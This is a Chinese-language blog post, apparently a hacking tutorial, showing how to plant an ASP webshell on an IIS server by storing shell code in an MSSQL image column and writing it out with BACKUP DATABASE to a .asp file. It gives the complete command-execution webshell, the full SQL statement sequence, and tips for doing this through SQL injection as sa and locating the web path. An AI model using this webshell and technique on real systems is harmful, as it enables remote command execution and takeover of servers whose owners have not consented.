利用 mssql backup 創建webshell

最早想到利用數據庫系統來寫文件大約MySQL下面的事情吧,我記得有篇經典的貼子是講利用TCP反彈結合輸入法漏洞入侵的,第一步,也是很重要的一步就是利用了MySQL導出表到文件獲得了一個web上的shell。ACCESS功能不那麼強大,有注入漏洞的時候也不能直接獲得執行任何命令的權限,就不說了;MSSQL倒是有很多人詳細研究過,執行命令的方法羅列了很多,可是沒有了exec的權限,所做的還是有限。很多人就在問,MSSQL下面能不能導出一張表到文件,就像MySQL那樣子,至少先獲得一個低權限的shell來看看,我找來找去也沒有找到導出表的命令,只好另想方法--不能導出表,那就只好導出數據庫了,效果嘛,大部分情況下還是一樣的。
    在說明做法前,還是先來看看爲什麼可以。IIS在通過asp.dll處理.asp擴展名文件的時候,對<%%>以外的內容,不做任何處理就直接輸出,比如拷貝一個.exe文件到web發佈目錄,改擴展名爲.asp後在IE中請求,返回來的結果是多半是.exe文件的內容,而不會是一個500服務器內部錯誤。而對於<%%>括起來的內容,默認情況下是按照VBScripts的方式解釋執行後給出結果,如果在<%%>裏面的內容有語法錯誤,纔會出現常見的500服務器內部錯誤。換句話說,如果有一個以.asp爲擴展名的文件,只要能精心控制所有的<%%>中的內容,我們就能夠讓它正確的執行,而至於<%%>以外的東西,asp.dll不去處理它,我們也不去關心。
    再來看看在MSSQL下使用backup database的情況。隨便導出一個數據庫看看,比如model,當然了,可以在查詢分析器中做:

    backup database model to disk='c:/a.txt'

    用文本的方式打開這個文件。通過上面的分析,我們只要知道默認的情況下,如果把這個文件改擴展名爲.asp後,請求時會不會出現問題,於是我們查找是否存在<%和%>,呵呵,顯然是沒有的吧,也就是說我們的請求會返回文本方式的內容。首先是默認的導出文件不會導致解釋執行時的錯誤,這是很關鍵的一步,剩下的就是我們要讓他變爲一個shell,當然是做一個表進去了,表的內容在備份的時候一定會被存儲到備份文件中去的,我們可以控制表的內容,自然也可以控制備份文件的內容。
    到這裏可能有人已經想一股腦兒把經典的asp shell的內容寫入新建的表然後backup database了,嗯,還沒有那麼簡單,你這樣做了的話,如果還想繼續我們的實驗,那可能要花上重裝MSSQL的代價。對於文本類型等的數據,比如text,nvchar等,在數據庫中可能的形式是"abc",但是在導出文件中,已經變成了寬字符的形式,成了"a b c ",這樣子的話,即使你好心寫的是一個"<%",到了備份文件中,一樣的成了"< % ",裏面的內容更是亂七八糟,根本不會被解釋執行了。爲了避免這種情況,我們創建的表列項應該是一個二進制形式的,比如屬性爲image,這樣子,在裏面添加的內容,原來是什麼導出的備份文件中也就是什麼,規規矩矩的,一點都不會變了。
    到了這裏,最後只剩下一個問題了,就算你把asp shell的內容寫入新建的二進制表,總不會是單獨的一行吧,誰知道同一個表的兩行之間,在導出的備份文件中會不會還有其它的一些內容呢,如果是這樣的話,前面一行<%後的內容倒是可以,中間如果有些亂七八遭的數據,用VBScripts的方式解釋執行百分之一百是一個500錯誤。所以每一行必須是一個完整的<%%>,這樣子,我們才能完全的控制<%%>內的內容,保證能夠得到一個正確無誤的asp shell。
    OK,終於到了實踐的部分了。通過上面的分析,應該知道利用backup database來做一個shell是完全可行的,我們先來改寫一下那個利用FSO的asp shell,使其能夠符合我們的要求:

<% Dim oScript %>
<% Dim oScriptNet%>
<% Dim oFileSys, oFile%>
<% Dim szCMD, szTempFile%>
<% Set oScript = Server.CreateObject("WSCRIPT.SHELL")%>
<% Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")%>
<% Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")%>
<% szCMD = Request.Form(".CMD")%>
<% If (szCMD <> "") Then%>
<% szTempFile = "C:/" & oFileSys.GetTempName()%>
<% Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)%>
<% Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)%>
<% End If %>
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"></FORM><PRE>
<% If (IsObject(oFile)) Then%>
<% On Error Resume Next%>
<% Response.Write Server.HTMLEncode(oFile.ReadAll)%>
<% oFile.Close%>
<% Call oFileSys.DeleteFile(szTempFile, True)%>
<% End If%>
</BODY></HTML>

    然後打開查詢分析器,依次輸入以下的SQL查詢語句。這些語句的大意就是創建一張表,裏面有一個二進制image類型的列,然後把我們上面改寫的那個shell作爲內容輸進去,最後導出整個數據庫到一個.asp文件,開始!

use model
create table cmd (str image);
insert into cmd(str) values ('<% Dim oScript %>');
insert into cmd(str) values ('<% Dim oScriptNet%>');
insert into cmd(str) values ('<% Dim oFileSys, oFile%>');
insert into cmd(str) values ('<% Dim szCMD, szTempFile%>');
insert into cmd(str) values ('<% Set oScript = Server.CreateObject("WSCRIPT.SHELL")%>');
insert into cmd(str) values ('<% Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")%>');
insert into cmd(str) values ('<% Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")%>');
insert into cmd(str) values ('<% szCMD = Request.Form(".CMD")%>');
insert into cmd(str) values ('<% If (szCMD <> "") Then%>');
insert into cmd(str) values ('<% szTempFile = "C:/" & oFileSys.GetTempName()%>');
insert into cmd(str) values ('<% Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)%>');
insert into cmd(str) values ('<% Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)%>');
insert into cmd(str) values ('<% End If %>');
insert into cmd(str) values ('<HTML><BODY><FORM action="<%= Request.ServerVariables("URL") %>" method="POST">');
insert into cmd(str) values ('<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"></FORM><PRE>');
insert into cmd(str) values ('<% If (IsObject(oFile)) Then%>');
insert into cmd(str) values ('<% On Error Resume Next%>');
insert into cmd(str) values ('<% Response.Write Server.HTMLEncode(oFile.ReadAll)%>');
insert into cmd(str) values ('<% oFile.Close%>');
insert into cmd(str) values ('<% Call oFileSys.DeleteFile(szTempFile, True)%>');
insert into cmd(str) values ('<% End If%>');
insert into cmd(str) values ('</BODY></HTML>');
backup database model to disk='c:/l.asp';

    拷貝c:/l.asp到你的web發佈目錄,再用瀏覽器請求一下,沒有500錯誤的話,你已經獲得一個shell了,不過這個shell中垃圾數據實在是太多,你要多按幾下TAB鍵才能到輸入命令的那個輸入框。
    末了再說說可能出現的問題,一般來說隨意選擇一個數據庫導出,默認情況下里面是不含有<%或者%>的,但也不排除有這種可能,儘管機率很小,但是我就遇到過一次。如果以前沒有動過model,導出的文件肯定是符合要求的,但是如果你中途如果寫錯了些東西,比如創建了一個表,內容有<%但是在同一行內沒有%>出現的話,這個數據庫就再也不能用了,因爲也許是爲了事務回滾的需要,即使你刪除了這張表,在導出的文件中依然保存有這張表的原始內容,所以,千萬要一次成功,錯了就完了。
    當然上面只是在查詢分析器中的實驗,實際情況下,如果你能以sa的身份注入,當然是比較輕鬆的,只是猜測web的物理路徑的時候可能會稍微有一些麻煩,因爲你得一次性導出到web的發佈目錄,不過也許你可以結合其他暴露物理路徑的漏洞來利用。如果不是sa的身份的話,也許declare @a sysname;select @a=db_name()會有一些用處。成功的機率,不敢說的太高,估計80%還是有的吧,如果你真的通過這種方法得到了shell,其實你會發現,這真是世界上最可愛最好用的asp shell--儘管有很多垃圾數據,也許還是個2、3M的大傢伙。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章